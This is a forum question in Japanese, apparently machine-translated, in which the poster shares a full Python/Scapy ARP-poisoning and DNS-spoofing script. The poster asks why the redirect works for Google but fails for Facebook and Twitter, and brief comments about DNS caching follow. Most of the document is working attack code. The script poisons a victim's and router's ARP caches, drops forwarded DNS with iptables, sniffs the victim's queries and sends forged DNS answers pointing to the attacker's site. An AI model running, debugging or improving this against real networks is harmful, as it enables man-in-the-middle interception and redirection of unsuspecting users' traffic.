私は、単に楽しみのためにpythonでDNP spoofer(ARP中毒あり)を作成しました。私の目標は、被害者のDNSリクエストを自分のサイトにリダイレクトすることだけです。彼らがどんなウェブサイトに行くときはいつでも、彼らは私のサイトに行く。しかし、一部のサイトだけで動作するようで、TwitterやFacebookのようなサイトに行くと動作しないようですが、Googleや小規模なサイトに行くとうまくリダイレクトされますか?また、ルータのすべてのDNSをブロックするために、私のコードでiptablesのルールを使用しています。私のDNSスプーフィングは一部のサイトでのみ動作しますか?
誰でも知っていますか?
コード:
#command line arguments
parser = argparse.ArgumentParser(description='ARP Poisoning and DNS Spoofing')
parser.add_argument('-v', '--victim', dest='victimIP', help="IP Address of victim", required=True)
parser.add_argument('-t', '--target', dest='targetIP', help="IP Address of spoof site", required=True)
parser.add_argument('-r', '--router', dest='routerIP', help="IP Address of Router", required=True)
args = parser.parse_args()
vIP = args.victimIP
targetIP = args.targetIP
routerIP = args.routerIP
localMAC = ""
victimMAC = ""
routerMAC = ""
#Setup function
def setup():
#setup forwarding rules
#disable forwarding of DNS requests to router
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
#iptables rule
Popen(["iptables -A FORWARD -p UDP --dport 53 -j DROP"], shell=True, stdout=PIPE)
#Flush iptables on exit
def reset():
Popen(["iptables -F"], shell=True, stdout=PIPE)
#get MACaddress of local machine
def getOurMAC(interface):
try:
mac = open('/sys/class/net/'+interface+'/address').readline()
except:
mac = "00:00:00:00:00:00"
return mac[0:17]
#returns MAC address of victim IP
def getTargetMAC(IP):
#add the target to our system's ARP cache
pingResult = Popen(["ping", "-c 1", IP], stdout=PIPE)
pid = Popen(["arp", "-n", IP], stdout=PIPE)
s = pid.communicate()[0]
MAC = re.search(r"(([a-f\d]{1,2}\:){5}[a-f\d]{1,2})", s).groups()[0]
return MAC
#constructs and sends arp packets to send to router and to victim.
def ARPpoison(localMAC, victimMAC, routerMAC):
arpPacketVictim = Ether(src=localMAC, dst=victimMAC)/ARP(hwsrc=localMAC, hwdst=victimMAC, psrc=routerIP, pdst=vIP, op=2)
arpPacketRouter = Ether(src=localMAC, dst=routerMAC)/ARP(hwsrc=localMAC, hwdst=routerMAC, psrc=vIP, pdst=routerIP, op=2)
print str(vIP) + " has been poisoned."
while True:
try:
sendp(arpPacketVictim, verbose=0)
sendp(arpPacketRouter, verbose=0)
#pause between each send
time.sleep(3)
except KeyboardInterrupt:
sys.exit(0)
#construct and send a spoofed DNS response packet to the victim
def reply(packet):
global targetIP
responsePacket = (IP(dst=vIP, src=packet[IP].dst)/UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)/\
DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa=1, qr=1, an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=targetIP)))
send(responsePacket, verbose=0)
print "Sent spoofed DNS Packet"
return
#this parse creates a thread
def parse(packet):
if packet.haslayer(DNS) and packet.getlayer(DNS).qr==0:
replyThread = threading.Thread(target=reply, args=packet)
replyThread.start()
#initiate sniff filter for DNS requests
def DNSsniffer():
global vIP
print "Sniffing DNS"
sniffFilter = "udp and port 53 and src " +str(vIP)
sniff(filter=sniffFilter, prn=parse)
# main function
def main():
victimMAC = getTargetMAC(vIP)
localMAC = getOurMAC("eno1")#Datacomm card
routerMAC = getTargetMAC(routerIP)
#threads creation
ARPThread = threading.Thread(target=ARPpoison, args=(localMAC, victimMAC, routerMAC))
sniffThread = threading.Thread(target=DNSsniffer)
#
ARPThread.daemon = True
sniffThread.daemon = True
#
ARPThread.start()
sniffThread.start()
#Keyboard Interrupt
while True:
try:
time.sleep(5)
except KeyboardInterrupt:
reset()
print "Exiting"
sys.exit(0)
#--------------------------------------------------
setup()
main()
UPDATE:私はさらにいくつかのテストを行っている 、それは被害者がGoogleなどのサイトに起こっている時にうまくリダイレクトするようです。サイトを高速読み込みしますが、FacebookやTwitterなどの大きなサイトでは、永久に読み込まれるようです。
スレッドを生成する代わりに、代わりにプロセスを生成できますか?
ローカルDNSキャッシュ –
で解決済みの名前があるかもしれませんが、私のプログラムがスプーフィングDNSを送信しようとしていても、facebookとtwitterは動作していないようですパケット。 –